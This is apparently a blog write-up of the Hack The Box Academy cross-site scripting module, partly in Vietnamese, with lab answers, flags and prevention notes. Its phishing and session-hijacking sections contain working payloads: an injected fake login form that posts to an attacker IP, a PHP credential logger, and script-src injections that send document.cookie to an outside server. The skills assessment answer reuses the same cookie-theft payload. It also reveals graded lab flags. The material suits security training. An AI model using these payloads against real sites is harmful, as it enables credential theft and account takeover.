Post

Module 7: Cross-Site Scripting (XSS)

Module 7: Cross-Site Scripting (XSS)

2. Task

SECTION 2: Stored XSS

Question 1


To get the flag, use the same payload we used above, but change its JavaScript code to show the cookie instead of showing the url: HTB{570r3d_f0r_3v3ry0n3_70_533}

image.png

1
<script>alert(window.origin)</script>

image.png

1
<script>alert(document.cookie)</script>

image.png

SECTION 3: Reflected XSS

Question 1

To get the flag, use the same payload we used above, but change its JavaScript code to show the cookie instead of showing the url: HTB{r3fl3c73d_b4ck_2_m3}

image.png

image.png

SECTION 4: DOM XSS

Question 1


To get the flag, use the same payload we used above, but change its JavaScript code to show the cookie instead of showing the url: HTB{pur3ly_cl13n7_51d3}

image.png

image.png

image.png

image.png

1
<img src="x" alt="dom-xss" onerror="alert(document.cookie)">

Vì script sử dụng innerHTML, nên vì lý do bảo mật nó không cho phép chèn:

1
<script></script>

do vậy phải sử dụng phương thức khác.

image.png

SECTION 5: XSS Discovery

Question 1


Utilize some of the techniques mentioned in this section to identify the vulnerable input parameter found in the above server. What is the name of the vulnerable parameter? email

image.png

image.png

image.png

image.png

image.png

image.png

image.png

Question 2


What type of XSS was found on the above server? “name only”: Reflected

SECTION 6: Defacing

http://154.57.164.65:30320/

Defacement Elements

We can utilize injected JavaScript code (through XSS) to make a web page look any way we like. However, defacing a website is usually used to send a simple message (i.e., we successfully hacked you), so giving the defaced web page a beautiful look isn’t really the primary target.

Four HTML elements are usually utilized to change the main look of a web page:

  • Background Color document.body.style.background
  • Background document.body.background
  • Page Title document.title
  • Page Text DOM.innerHTML

We can utilize two or three of these elements to write a basic message to the web page and even remove the vulnerable element, such that it would be more difficult to quickly reset the web page, as we will see next.

Changing Background

1
<script>document.body.style.background = "#141d2b"</script>

image.png

1
<script>document.body.background = "[https://www.hackthebox.eu/images/logo-htb.svg](https://www.hackthebox.eu/images/logo-htb.svg)"</script>

Changing Page Title

We can change the page title from 2Do to any title of our choosing, using the document.title JavaScript property:

1
2
<script>document.title= 'TestMe'</script>

image.png

1
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="[https://academy.hackthebox.com/images/logo-htb.svg](https://academy.hackthebox.com/images/logo-htb.svg)" height="25px" alt="HTB Academy"> </p></center>'</script>

Change all body of a page.

SECTION 7: PHISHING

Test for url=’

image.png

Payload to trigger xss: http://10.129.234.166/phishing/index.php?url=’ onerror=”alert(1)”

image.png

1
document.write(<h3>Please login to continue</h3><form action=http://OUR_IP><input name=username type=username placeholder=Username> <input name=password type=password placeholder=Password> <input name=submit type=submit value=Login></form>’)

image.png

To remove the form that contain url. We can use: url=’onerror=”document.getElementById(‘urlform’).remove()”

Clean payload:

http://10.129.234.166/phishing/index.php?url=’onerror=”document.getElementById(‘urlform’).remove();”<h3>Please login to continue</h3><form action=http://OUR_IP> </form> <!–

Start a server:

image.png

Change the IP of action parameter and then, put test login in the field and then click login.

image.png

However, as we are only listening with a netcat listener, it will not handle the HTTP request correctly, and the victim would get an Unable to connect error, which may raise some suspicions. So, we can use a basic PHP script that logs the credentials from the HTTP request and then returns the victim to the original page without any injections. In this case, the victim may think that they successfully logged in and will use the Image Viewer as intended.

The following PHP script should do what we need, and we will write it to a file on our VM that we’ll call index.php and place it in /tmp/tmpserver/ (don't forget to replace SERVER_IP with the ip from our exercise):

<?php

*if*

(isset($_GET['username']) && isset($_GET['password'])) { $file = fopen("creds.txt", "a+"); fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n"); header("Location: http://SERVER_IP/phishing/index.php"); fclose($file);

*exit*

(); } ?>

image.png

image.png

image.png

image.png

image.png

Question 1


Try to find a working XSS payload for the Image URL form found at ‘/phishing’ in the above server, and then use what you learned in this section to prepare a malicious URL that injects a malicious login form. Then visit ‘/phishing/send.php’ to send the URL to the victim, and they will log into the malicious login form. If you did everything correctly, you should receive the victim’s login credentials, which you can use to login to ‘/phishing/login.php’ and obtain the flag. HTB{r3f13c73d_cr3d5_84ck_2_m3}

image.png

image.png

image.png

SECTION 8: Session Hijacking

image.png

This time, we cannot just simply use xssStrike, as the guide said that we’re facing with a blind XSS vulnerability. So, in the initial step, i will try to use a payload as guided in article.

image.png

Payload hoạt động:

1
imgurl="><script src="http://10.10.16.184/imgurl"></script>

image.png

use the payload “

1
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

” to get the cookie.

Create the payload that send cookie to our server:

1
imgurl="><script src=http://10.10.16.184/script.js></script>

create our script.js file that contains:

1
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

result: c00k1355h0u1d8353cu23d

image.png

Add cookie to browser

image.png

Question 1


Try to repeat what you learned in this section to identify the vulnerable input field and find a working XSS payload, and then use the ‘Session Hijacking’ scripts to grab the Admin’s cookie and use it in ‘login.php’ to get the flag: HTB{4lw4y5_53cur3_y0ur_c00k135}

Section 9: XSS Prevention


By now, we should have a good understanding of what an XSS vulnerability is and its different types, how to detect an XSS vulnerability, and how to exploit XSS vulnerabilities. We will conclude the module by learning how to defend against XSS vulnerabilities.

As discussed previously, XSS vulnerabilities are mainly linked to two parts of the web application: A Source like a user input field and a Sink that displays the input data. These are the main two points that we should focus on securing, both in the front-end and in the back-end.

The most important aspect of preventing XSS vulnerabilities is proper input sanitization and validation on both the front and back end. In addition to that, other security measures can be taken to help prevent XSS attacks.


Front-end

As the front-end of the web application is where most (but not all) of the user input is taken from, it is essential to sanitize and validate the user input on the front-end using JavaScript.

Input Validation

For example, in the exercise of the XSS Discovery section, we saw that the web application will not allow us to submit the form if the email format is invalid. This was done with the following JavaScript code:

1
2
3
4
5
function validateEmail(email) {
    const re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;

    return re.test($("#login input[name=email]").val());
}

As we can see, this code is testing the email input field and returning true or false whether it matches the Regex validation of an email format.

Input Sanitization

In addition to input validation, we should always ensure that we do not allow any input with JavaScript code in it, by escaping any special characters. For this, we can utilize the DOMPurify JavaScript library, as follows:

1
2
        javascript
<script type="text/javascript" src="dist/purify.min.js"></script>let clean= DOMPurify.sanitize( dirty );

This will escape any special characters with a backslash \, which should help ensure that a user does not send any input with special characters (like JavaScript code), which should prevent vulnerabilities like DOM XSS.

Direct Input

Finally, we should always ensure that we never use user input directly within certain HTML tags, like:

  1. JavaScript code 
    1
    
    <script></script>
    
  2. CSS Style Code  ```html
1
2
3
3. Tag/Attribute Fields 
```html
<div name='INPUT'></div>
  1. HTML Comments 

If user input goes into any of the above examples, it can inject malicious JavaScript code, which may lead to an XSS vulnerability. In addition to this, we should avoid using JavaScript functions that allow changing raw text of HTML fields, like:

  • DOM.innerHTML
  • DOM.outerHTML
  • document.write()
  • document.writeln()
  • document.domain

And the following jQuery functions:

  • html()
  • parseHTML()
  • add()
  • append()
  • prepend()
  • after()
  • insertAfter()
  • before()
  • insertBefore()
  • replaceAll()
  • replaceWith()

As these functions write raw text to the HTML code, if any user input goes into them, it may include malicious JavaScript code, which leads to an XSS vulnerability.


Back-end

On the other end, we should also ensure that we prevent XSS vulnerabilities with measures on the back-end to prevent Stored and Reflected XSS vulnerabilities. As we saw in the XSS Discovery section exercise, even though it had front-end input validation, this was not enough to prevent us from injecting a malicious payload into the form. So, we should have XSS prevention measures on the back-end as well. This can be achieved with Input and Output Sanitization and Validation, Server Configuration, and Back-end Tools that help prevent XSS vulnerabilities.

Input Validation

Input validation in the back-end is quite similar to the front-end, and it uses Regex or library functions to ensure that the input field is what is expected. If it does not match, then the back-end server will reject it and not display it.

An example of E-Mail validation on a PHP back-end is the following:

1
2
        php
if (filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)) {    // do task} else {    // reject input - do not display it}

For a NodeJS back-end, we can use the same JavaScript code mentioned earlier for the front-end.

Input Sanitization

When it comes to input sanitization, then the back-end plays a vital role, as front-end input sanitization can be easily bypassed by sending custom GET or POST requests. Luckily, there are very strong libraries for various back-end languages that can properly sanitize any user input, such that we ensure that no injection can occur.

For example, for a PHP back-end, we can use the addslashes function to sanitize user input by escaping special characters with a backslash:

1
2
        php
addslashes($_GET['email'])

In any case, direct user input (e.g. $_GET['email']) should never be directly displayed on the page, as this can lead to XSS vulnerabilities.

For a NodeJS back-end, we can also use the DOMPurify library as we did with the front-end, as follows:

1
2
        javascript
import DOMPurifyfrom 'dompurify';var clean= DOMPurify.sanitize(dirty);

Output HTML Encoding

Another important aspect to pay attention to in the back-end is Output Encoding. This means that we have to encode any special characters into their HTML codes, which is helpful if we need to display the entire user input without introducing an XSS vulnerability. For a PHP back-end, we can use the htmlspecialchars or the htmlentities functions, which would encode certain special characters into their HTML codes (e.g. < into &lt;), so the browser will display them correctly, but they will not cause any injection of any sort:

1
2
        php
htmlentities($_GET['email']);

For a NodeJS back-end, we can use any library that does HTML encoding, like html-entities, as follows:

1
2
        javascript
import encodefrom 'html-entities';encode('<'); // -> '&lt;'

Once we ensure that all user input is validated, sanitized, and encoded on output, we should significantly reduce the risk of having XSS vulnerabilities.

Server Configuration

In addition to the above, there are certain back-end web server configurations that may help in preventing XSS attacks, such as:

  • Using HTTPS across the entire domain.
  • Using XSS prevention headers.
  • Using the appropriate Content-Type for the page, like X-Content-Type-Options=nosniff.
  • Using Content-Security-Policy options, like script-src 'self', which only allows locally hosted scripts.
  • Using the HttpOnly and Secure cookie flags to prevent JavaScript from reading cookies and only transport them over HTTPS.

In addition to the above, having a good Web Application Firewall (WAF) can significantly reduce the chances of XSS exploitation, as it will automatically detect any type of injection going through HTTP requests and will automatically reject such requests. Furthermore, some frameworks provide built-in XSS protection, like ASP.NET.

In the end, we must do our best to secure our web applications against XSS vulnerabilities using such XSS prevention techniques. Even after all of this is done, we should practice all of the skills we learned in this module and attempt to identify and exploit XSS vulnerabilities in any potential input fields, as secure coding and secure configurations may still leave gaps and vulnerabilities that can be exploited. If we practice defending the website using both offensive and defensive techniques, we should reach a reliable level of security against XSS vulnerabilities.

SECTION 10: Skills Assessment

We are performing a Web Application Penetration Testing task for a company that hired you, which just released their new Security Blog. In our Web Application Penetration Testing plan, we reached the part where you must test the web application against Cross-Site Scripting vulnerabilities (XSS).

Start the server below, make sure you are connected to the VPN, and access the /assessment directory on the server using the browser:

Apply the skills you learned in this module to achieve the following:

  1. Identify a user-input field that is vulnerable to an XSS vulnerability
  2. Find a working XSS payload that executes JavaScript code on the target’s browser
  3. Using the Session Hijacking techniques, try to steal the victim’s cookies, which should contain the flag

Question 1


What is the value of the ‘flag’ cookie? HTB{cr055_5173_5cr1p71n6_n1nj4}

Access the page

image.png

Start zapproxy to crawl the uri, found the post comment form

image.png

Try to post something to glean the post request

image.png

Craft the script that brute force all parameter that may be vulnerable to XSS. Use blind technique

image.png

Scanning result:

image.png

Manual test to confirm the param that vulnerable to XSS:

image.png

image.png

Use the previous file script.js to gain the Cookie: payload

Payload:

1
2
3
4
5
6
7
comment=122&
author=abc&
email=admin%40pygoat.com&
url='><script src="http://10.10.16.184/script.js"></script>&
submit=Post+Comment&
comment_post_ID=8&
comment_parent=0

image.png

image.png

This post is licensed under CC BY 4.0 by the author.